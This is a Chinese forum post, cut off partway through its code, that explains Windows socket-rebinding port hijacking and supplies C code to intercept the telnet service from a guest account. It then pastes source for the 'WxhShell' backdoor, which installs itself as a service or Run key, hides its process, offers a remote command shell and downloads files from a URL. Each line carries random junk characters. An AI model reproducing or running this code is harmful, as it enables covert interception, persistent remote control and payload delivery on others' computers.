社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19723阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S&`iEwG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nt*nTtcE  
dl&402  
  saddr.sin_family = AF_INET; y%^TZ[S  
+`H{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :UdH}u!Ek  
YoEL|r|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L-\o zp  
tfb_K4h6,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sLh %k  
C].w)B  
  这意味着什么?意味着可以进行如下的攻击: n:d7 Tv1Z8  
4|[)D/N  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qwx{U  
^~:&/0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y;[#~3CA  
Udbz;^(  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +rA:/!b)Y  
3A5:D#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Cvf^3~ q  
>UUT9:,plA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 f-b#F2I  
Ivue"_i;!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'HdOW[3o  
_YM]U`*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;YK{[$F  
Sx^4Y\\  
  #include 7w]NG`7  
  #include -w#Hy>E  
  #include ?c!W*`yP  
  #include    auKGm:  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NEG&zf  
  int main() CF?TW  
  { 31@m36? X  
  WORD wVersionRequested; uY~xHV_-  
  DWORD ret; v%%;Cp73  
  WSADATA wsaData; 3S_H hvB  
  BOOL val; F;,LY:s|Z  
  SOCKADDR_IN saddr; V;}6C&aP.  
  SOCKADDR_IN scaddr; OG&X7>'3I{  
  int err; .oR_r1\y  
  SOCKET s; +@c-:\K%  
  SOCKET sc; DoYzTSWx  
  int caddsize; [)&(zJHX  
  HANDLE mt; > l@ o\  
  DWORD tid;   wK[Xm'QTPJ  
  wVersionRequested = MAKEWORD( 2, 2 ); xf?6_=  
  err = WSAStartup( wVersionRequested, &wsaData ); t:h~p-&QB  
  if ( err != 0 ) { qr~= S  
  printf("error!WSAStartup failed!\n"); MJ+]\(  
  return -1; Q[M?LNE`  
  } `p. O  
  saddr.sin_family = AF_INET; k}o*=s>M  
   IT~pp _6g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 NgXV|) L  
 b jq1",  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T)QT_ST.9  
  saddr.sin_port = htons(23); ;.g <u  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) AX= 4{b'  
  { `vijd(a?v  
  printf("error!socket failed!\n"); ~Ue t)y<  
  return -1; [qEd`8V (  
  } h5.>};"@ '  
  val = TRUE; %+y92'GqG/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !]-ET7  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X+*"FKm S.  
  { z&@Vg`w"  
  printf("error!setsockopt failed!\n"); uWSfr(loX  
  return -1; /`j~r;S  
  } WF.y"{6>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {hLS,Me  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )G">7cg;t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 \?9{H6<=  
6UkX?I`>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) sP+ZE>7  
  { JN Ur?+g  
  ret=GetLastError(); k^ZcgHHgb  
  printf("error!bind failed!\n"); v^;%Fz_Dr  
  return -1; ~e)`D nJ  
  } ~/B[;#  
  listen(s,2); =n}+p>\s  
  while(1) u=5~^ 9  
  { v_zVhE tY  
  caddsize = sizeof(scaddr); +$YluGEJ  
  //接受连接请求 #(5hV7i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P}El#y#&  
  if(sc!=INVALID_SOCKET) eI 6G  
  { qrj:H4#VB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ak\w)!?s  
  if(mt==NULL) fs=W(~"  
  { :]viLw\&g  
  printf("Thread Creat Failed!\n"); j(;o   
  break; _qPd)V6yb  
  } ^j1WF[GiSO  
  } BZP~m=kq  
  CloseHandle(mt); m'Thm{Y,?n  
  } gUcG#  
  closesocket(s); r3hUa4^97  
  WSACleanup(); -]?F  
  return 0; v$H]=y  
  }   3%JPJuNVw  
  DWORD WINAPI ClientThread(LPVOID lpParam) m R3km1T  
  { n;eK2+}]  
  SOCKET ss = (SOCKET)lpParam; Psf'#4g  
  SOCKET sc; *)2& gQ&%+  
  unsigned char buf[4096]; (RL5L=,u  
  SOCKADDR_IN saddr; Wn9b</ tf  
  long num; S$Cht6m  
  DWORD val; &D|wc4+  
  DWORD ret; }h6 N.vz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 {bSi3oI  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B[]v[q<  
  saddr.sin_family = AF_INET; ?G#T6$E8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); whzV7RT  
  saddr.sin_port = htons(23); Z|z+[V}[  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `qjiC>9  
  { A7;|~??  
  printf("error!socket failed!\n"); FTihxC?.L  
  return -1; jM E==)Y  
  } },2mIit(  
  val = 100; <R6$ kom`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rw54`_kFEB  
  { t/=xY'7  
  ret = GetLastError(); 7%-+7O3ud  
  return -1; !1:364  
  } ~vVsxC$.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R9/(z\'}  
  { @"6dq;"  
  ret = GetLastError(); hY?x14m$3  
  return -1; o+H;ZGT5H  
  }  {ws:g![  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gX}(6RP_!  
  { -L&FguoVB  
  printf("error!socket connect failed!\n"); U-P\F-  
  closesocket(sc); gUo L8~  
  closesocket(ss); pMB~Lt9  
  return -1; 5df~] -=0Y  
  } {~"&$DY2  
  while(1) 7h4"5GlO0  
  { 03iD(,@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 * 7ki$f!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &J\V !uVo  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *}t,:N;i  
  num = recv(ss,buf,4096,0); )1KlcF  
  if(num>0) l>i<J1  
  send(sc,buf,num,0); QsaaA MGY  
  else if(num==0) *EZ'S+wR  
  break; PF,|Wzx  
  num = recv(sc,buf,4096,0); Y6|8;2E  
  if(num>0) >taC_f06  
  send(ss,buf,num,0); piRP2Lbm*  
  else if(num==0) 2BU%4IG  
  break; vGK'U*gGD  
  } n]/7UH}(<&  
  closesocket(ss); 7 I/  
  closesocket(sc); / M(A kNy  
  return 0 ; !H`! KBW  
  } L6^Qn%:OTd  
edt(Zzk@3-  
,cR=W|6cQm  
========================================================== 4uW}.7R'  
tN' -4<+  
下边附上一个代码,,WXhSHELL p/|": (U  
Z|YiYQl[)  
========================================================== A9_)}  
j5*W[M9W  
#include "stdafx.h" ;:JTb2xbb  
v2>.+Eh#  
#include <stdio.h> pPUv8, %  
#include <string.h> SBBDlr^P  
#include <windows.h> 87P.K Yy  
#include <winsock2.h> lNcXBtwK@#  
#include <winsvc.h> 2=3pV!)4}  
#include <urlmon.h> IK%fX/tDyc  
f^8,Z+n  
#pragma comment (lib, "Ws2_32.lib") QU/Q5k  
#pragma comment (lib, "urlmon.lib") MtYi8"+<e.  
E\5cb[Y  
#define MAX_USER   100 // 最大客户端连接数 \vBpH'hR,'  
#define BUF_SOCK   200 // sock buffer -5Qsc/ s&  
#define KEY_BUFF   255 // 输入 buffer 8Y.25$  
;><9R@0  
#define REBOOT     0   // 重启 >&K1+FSmyJ  
#define SHUTDOWN   1   // 关机 k<xiP@b{y  
$a|DR  
#define DEF_PORT   5000 // 监听端口 \;w+_<zE5{  
#!wL0 p  
#define REG_LEN     16   // 注册表键长度 ~ {sRK  
#define SVC_LEN     80   // NT服务名长度 %m:T?![XO  
\de82 4  
// 从dll定义API JzA`*X[  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xm@vx}O:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  fL9R{=I%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  '&/"_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (>THN*i  
Sb=cWn P  
// wxhshell配置信息 Fg8i} >w  
struct WSCFG { Jsee8^_~  
  int ws_port;         // 监听端口 ^c1%$@H  
  char ws_passstr[REG_LEN]; // 口令 |k~\E|^  
  int ws_autoins;       // 安装标记, 1=yes 0=no gkdd#Nrk  
  char ws_regname[REG_LEN]; // 注册表键名 4qtjP8Zv[  
  char ws_svcname[REG_LEN]; // 服务名 #4. S2m4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $O*rxQ}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %k8} IBL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a9 =,P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r2A(GUz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" m2[q*k]AtS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v~>^c1:  
^ q]BCOfJ(  
}; GWZ0!V  
Ds|/\cI$%a  
// default Wxhshell configuration k'uN2m  
struct WSCFG wscfg={DEF_PORT, 5_U3Fs  
    "xuhuanlingzhe", vmI]N  
    1, L1"y5HJ  
    "Wxhshell", } FcWzi  
    "Wxhshell", | fAt[e_E  
            "WxhShell Service", 4e d+'-"m  
    "Wrsky Windows CmdShell Service", %C*oy$.  
    "Please Input Your Password: ", PJu)%al  
  1, g2b %.X4  
  "http://www.wrsky.com/wxhshell.exe", Yr@)W~  
  "Wxhshell.exe" ?pdvFM  
    }; 7bioLE  
DXj_\ R(}  
// 消息定义模块 /[YH  W]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M9{?gM9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b?-Ep?G'\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )>q.!"B  
char *msg_ws_ext="\n\rExit."; 7_ g}t!b`  
char *msg_ws_end="\n\rQuit.";  ?C   
char *msg_ws_boot="\n\rReboot..."; GH2D5HVN  
char *msg_ws_poff="\n\rShutdown..."; ai% fj*  
char *msg_ws_down="\n\rSave to "; 7MreBs(M  
vKppXm1  
char *msg_ws_err="\n\rErr!"; 1bb~u/jU  
char *msg_ws_ok="\n\rOK!"; :. B};;N  
 ]qCAog  
char ExeFile[MAX_PATH]; +D|y))fE  
int nUser = 0; y?W8FL  
HANDLE handles[MAX_USER]; d_BO&k<+I  
int OsIsNt; rt] @Z`w  
[nBlHI;&  
SERVICE_STATUS       serviceStatus; b'`8$;MII  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GuMsw*{>  
k WYjqv  
// 函数声明 2`,{IHu*!  
int Install(void); 0IoS|P}6a  
int Uninstall(void); IH?.s k  
int DownloadFile(char *sURL, SOCKET wsh); F,^Q'$ !  
int Boot(int flag); \k;)m-0bj{  
void HideProc(void); ou6|;*>d  
int GetOsVer(void); IbAGnl{  
int Wxhshell(SOCKET wsl); ^+cf  
void TalkWithClient(void *cs); )`]w\s #  
int CmdShell(SOCKET sock); UPgjf  
int StartFromService(void); X_XeI!,b  
int StartWxhshell(LPSTR lpCmdLine); IGs!SXclCs  
C,:3z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'S<ebwRd=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TfK$tTkM  
N?0T3-/K  
// 数据结构和表定义 ?1 $.^  
SERVICE_TABLE_ENTRY DispatchTable[] = @qH{;  
{ A<.`HCv2  
{wscfg.ws_svcname, NTServiceMain}, 0hK)/!Y  
{NULL, NULL} 5% C-eB  
}; ?}y?e}y*xZ  
uNV (r"  
// 自我安装 pulE6T7 x  
int Install(void) \:C@L&3[  
{ 6JBE=9d-Q  
  char svExeFile[MAX_PATH]; I0oM\~#  
  HKEY key; - 8&M^-  
  strcpy(svExeFile,ExeFile); t5 n$sF  
,6?L.L  
// 如果是win9x系统,修改注册表设为自启动 +avu&2B  
if(!OsIsNt) { p;Kw$fQ?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :~BY[")  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k0.|%0?K  
  RegCloseKey(key); G&MI@Hq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E`.dU<8HE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hw[u Sv8  
  RegCloseKey(key); L !:}  
  return 0; 8)3g!3S  
    } g83]/s+  
  } x7 jE Ns )  
} e"P>b? OY  
else { :a(er'A  
^yiRrcOo  
// 如果是NT以上系统,安装为系统服务 W>0 36  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c*ac9Y'o  
if (schSCManager!=0) mjG-A8y  
{ %c)^8k;I  
  SC_HANDLE schService = CreateService k_.%(ZE  
  ( " cx\P,<  
  schSCManager, QcG4~DEX4  
  wscfg.ws_svcname, PO5/j  
  wscfg.ws_svcdisp, <m"Zk k  
  SERVICE_ALL_ACCESS, mu0ER 3o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , IBr?6_\%"4  
  SERVICE_AUTO_START, /qA\|'~  
  SERVICE_ERROR_NORMAL, <)+9PV<w  
  svExeFile, D_@WB.e L  
  NULL,  6!])\Ay  
  NULL, d4F3!*@(  
  NULL, +s.r!?49+  
  NULL, b_@MoL@A!  
  NULL 0t ?:  
  ); 7*]O]6rP  
  if (schService!=0) '+^HeM^;  
  { =dz  iR _  
  CloseServiceHandle(schService); l[mXbQd  
  CloseServiceHandle(schSCManager); B/g.bh~)q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wYK-YY:Q3  
  strcat(svExeFile,wscfg.ws_svcname); }-9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { smW 7zGE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); V9f$zjpw  
  RegCloseKey(key); _v:t$k#sN  
  return 0; ~itrM3^"w  
    } ZAVjq;bq  
  } i E>E*!aBg  
  CloseServiceHandle(schSCManager); EE5I~k 5  
} {Sm^F  
} ^6`"f  
f}b= FV{  
return 1; 21x?TZa  
} 9mfqr$3  
E'zLgU)r`  
// 自我卸载 =m6;]16D  
int Uninstall(void) z6#~B&  
{ >QV=q`I  
  HKEY key; LO0<=4iN(  
^c" wgRHc<  
if(!OsIsNt) { `Et)@{iP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { { [ QCuR  
  RegDeleteValue(key,wscfg.ws_regname); zts%oIgV  
  RegCloseKey(key); &u0JzK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1>bG]l1//  
  RegDeleteValue(key,wscfg.ws_regname); nn!W-Bsqjh  
  RegCloseKey(key); &OD)e@Tc  
  return 0; E!w%oTx{OR  
  } H@o 3u>}  
} Ha{#  
} ^%tmHDNL.  
else { CL oc  
+@>K]hdr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9T#d.c24  
if (schSCManager!=0) o_hk!s^4m  
{ yUcWX bT@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); P 0v&*y3Y  
  if (schService!=0) y6tzmyg  
  { _Vr>/f  
  if(DeleteService(schService)!=0) { &|'k)6Rx  
  CloseServiceHandle(schService); ;L(2Ffk8  
  CloseServiceHandle(schSCManager); |%.V{vgP7  
  return 0; .jW+\mIX  
  }  K9 h{sC  
  CloseServiceHandle(schService); ;(AVZxCM  
  } wd&Tf R4!  
  CloseServiceHandle(schSCManager); ew8f7S[  
} udYk 6  
} +Zgh[a  
R: 8\z0"L*  
return 1; S?n,O+q  
} jt5en;AA[  
| wuUH  
// 从指定url下载文件 eCHT) 35u  
int DownloadFile(char *sURL, SOCKET wsh) uzjP!qO  
{ =z`GC1]bL  
  HRESULT hr; _GSl}\  
char seps[]= "/"; f&x7g.I  
char *token; \UZlFE  
char *file; 2Ur9*#~kGp  
char myURL[MAX_PATH]; DY| s |:d  
char myFILE[MAX_PATH]; {1a%CsCM  
!0Hx1I<*x  
strcpy(myURL,sURL); :(gZ\q">k  
  token=strtok(myURL,seps); &0A^_Z .nA  
  while(token!=NULL) z.EpRJn  
  { ZdQt!  
    file=token; ,kiyx h^  
  token=strtok(NULL,seps); U'8+YAgc  
  } 4 0as7.q  
{T EF#iF  
GetCurrentDirectory(MAX_PATH,myFILE); AP*Z0OFE  
strcat(myFILE, "\\"); %DH2]B? 0  
strcat(myFILE, file); e%_2n=p~)%  
  send(wsh,myFILE,strlen(myFILE),0); RQ}0f5~t  
send(wsh,"...",3,0); 6Ap-J~4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kOi@QLdN  
  if(hr==S_OK) Hg<d%7.  
return 0; VnqgN  
else hfzmv~*  
return 1; |Et8FR3[m  
;la sk4|  
} Fo  K!JX*  
X.^S@3[  
// 系统电源模块 i> }P V  
int Boot(int flag) |T!ivd1G  
{ OEMYS I%  
  HANDLE hToken; BllS3I}V  
  TOKEN_PRIVILEGES tkp; =z_.RE  
`r?xo7  
  if(OsIsNt) { @K{1O|V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %#5yC|o9Pn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (t$jb |Oa  
    tkp.PrivilegeCount = 1; SvE3E$*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !$}:4}56F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <UI^~Azc#  
if(flag==REBOOT) { |]s/NNU  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]Dj,8tf`H  
  return 0; Aun X[X9  
} #m %ZW3  
else { S.G"*'N  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _Z9HOl@  
  return 0; H?\b   
} wrtJ8O(  
  } OQl7#`G!H%  
  else { TV&:`kH  
if(flag==REBOOT) { r1vF/yt(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T >BlnA  
  return 0; `XT8}9z!  
} ANqWY &f  
else { 5%`fh%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k&TZ   
  return 0; q6R``  
} >ucVrLm,X  
} 'E_M, Y  
v2Lx4:dzi  
return 1; g" c|%3  
} e+'PRVc  
zVeQKN9^Z  
// win9x进程隐藏模块  Xaz`L  
void HideProc(void) ,gag_o{*a  
{ )Q:.1Hgl  
e u{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L$T23*9XY  
  if ( hKernel != NULL ) Q}/2\Q=)j  
  { 4gyC?#Ede  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c:[z({`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I[P43>F3  
    FreeLibrary(hKernel); Ii*tux!S  
  } 1W@ C]n4  
pK_n}QW  
return; Q:nBx[%  
} }02#[vg  
nw.,`M,N  
// 获取操作系统版本 I%4)%  
int GetOsVer(void) nYA@t=t0  
{ vIMLUL0  
  OSVERSIONINFO winfo; A@:h\<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )uG7 DR  
  GetVersionEx(&winfo); y~16o   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "`va_Mk  
  return 1; F0Nl,9h('  
  else roiUVisq*  
  return 0; whoM$  &  
} ( L{>la!  
QB3vp4pBg@  
// 客户端句柄模块 =x_~7 Xc{  
int Wxhshell(SOCKET wsl) rzl0*CR  
{ x-hr64WFK  
  SOCKET wsh;  /y2)<{{I  
  struct sockaddr_in client; p'@| O q&  
  DWORD myID; Y.7iKMp(  
CO%o.j=1  
  while(nUser<MAX_USER) utH/E7^8  
{ /=y _ #l  
  int nSize=sizeof(client); ( vO\h8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @^O+ulLJ,]  
  if(wsh==INVALID_SOCKET) return 1; 8ch^e[U`  
B\<;e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h vC gd^M  
if(handles[nUser]==0) vOF"p4 ^3  
  closesocket(wsh); V?yTJJ21X  
else cPx] :sC  
  nUser++; VLL CdZ%  
  } goJK~d8M*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xc>M_%+ R  
VuU{7:  
  return 0; ulA||  
} 3?n2/p 7=  
b$*1!a  
// 关闭 socket G C#s;X  
void CloseIt(SOCKET wsh) #8{U0 7]"  
{ OrG1Mfx&2%  
closesocket(wsh); w$`[C+L  
nUser--; ],?$&  
ExitThread(0); @7}]\}SR  
} [?QU'[  
b235Zm  
// 客户端请求句柄 REK(^1 h  
void TalkWithClient(void *cs) 5LYzX+a)  
{ Hv3<gyD  
;Z asK0  
  SOCKET wsh=(SOCKET)cs; y;$ !J  
  char pwd[SVC_LEN]; @ ,9cpaL3  
  char cmd[KEY_BUFF]; )iU@P7W=  
char chr[1]; sY%nPf~9q'  
int i,j; 9 SBVp 6'  
_Hp[}sv4)  
  while (nUser < MAX_USER) { [$x&J6jF.  
]-2Q0wTj  
if(wscfg.ws_passstr) { ukInS:7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l`mNOQ@}'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Ry%HV9VE  
  //ZeroMemory(pwd,KEY_BUFF); EE,57(  
      i=0; SJ%h.u@&@F  
  while(i<SVC_LEN) { (X{o =co,  
llK7~uOC  
  // 设置超时 H1fKe=$1  
  fd_set FdRead; cYeC7l "  
  struct timeval TimeOut; i(9 5=t(  
  FD_ZERO(&FdRead); n2p(@  
  FD_SET(wsh,&FdRead); VfFXH,j  
  TimeOut.tv_sec=8; flXDGoW  
  TimeOut.tv_usec=0; V Kw33  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CI8bHY$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >Ohh) $  
d#W>"Cqxqa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wG-lR,glb  
  pwd=chr[0]; `B%IHr  
  if(chr[0]==0xd || chr[0]==0xa) { a3wk#mH  
  pwd=0; \46 'j.  
  break; nf2[hx@=U  
  } $xK*TJ(k  
  i++; =-dg]Ol8  
    } l |Y?]LNr  
N!Cy)HnS\w  
  // 如果是非法用户,关闭 socket 8-_\Q2vG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r9vO(m~  
} rG t/ /6  
#Ave r]eK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4\pUA4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tw]].|^f-  
n#dvBK0M  
while(1) { I #bta  
J+:gIszsWT  
  ZeroMemory(cmd,KEY_BUFF); >s;>"]  
mE)I(< %  
      // 自动支持客户端 telnet标准   `iQ9 9  
  j=0; [+2iwfD  
  while(j<KEY_BUFF) { ~2L]K4Z^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = ;z42oS  
  cmd[j]=chr[0]; "T~ce@  
  if(chr[0]==0xa || chr[0]==0xd) { cxB{EH,2Um  
  cmd[j]=0; |.~0Ulk,  
  break; )1ct%rue  
  } ?]/"AWUX  
  j++; 6}"t;4@$x  
    } Ty5}5)CRZ  
T[\?fSP  
  // 下载文件 a j13cC$  
  if(strstr(cmd,"http://")) { wticA#mb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ni Y.OwKr  
  if(DownloadFile(cmd,wsh)) $OP w$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6^#@y|.  
  else k@=w? m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '>U&B}  
  } c>)_I  
  else { ?Mj@;O9>'  
.ZVADVg\  
    switch(cmd[0]) { tvEf-z  
  Wu|ANc  
  // 帮助 1b LY1  
  case '?': { [R%Pf/[Fr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~^ ^|]s3  
    break; Pu`;B  
  } 3j} @}2D  
  // 安装 Jr.4Y>;}e3  
  case 'i': { +)U>mm,  
    if(Install()) --BS/L-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C/{%f,rU  
    else %]\IC(q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IM8lA  
    break; RS9mAeX4h  
    } 7:P+S%ZL  
  // 卸载 h$U(1B  
  case 'r': { ;%V)lP"o  
    if(Uninstall()) E%np-is{1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sF!nSr  
    else Jd-u ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7>$&CWI  
    break; f~-Ipq;F  
    } *L+)R*|:&  
  // 显示 wxhshell 所在路径 $PbwC6>8  
  case 'p': { KOYcT'J@vR  
    char svExeFile[MAX_PATH]; b.lK0 Xo  
    strcpy(svExeFile,"\n\r"); mZ! 1Vh  
      strcat(svExeFile,ExeFile);  M_ii  
        send(wsh,svExeFile,strlen(svExeFile),0); 4PDxmH]y  
    break; ? 1 ~C`I;  
    } ` Clh;  
  // 重启 ])D39  
  case 'b': { 79G& 0 P\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6ntduXeNVh  
    if(Boot(REBOOT)) 3 6-Sw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g|V md  
    else { HTw7l]]  
    closesocket(wsh); kY.3x# w  
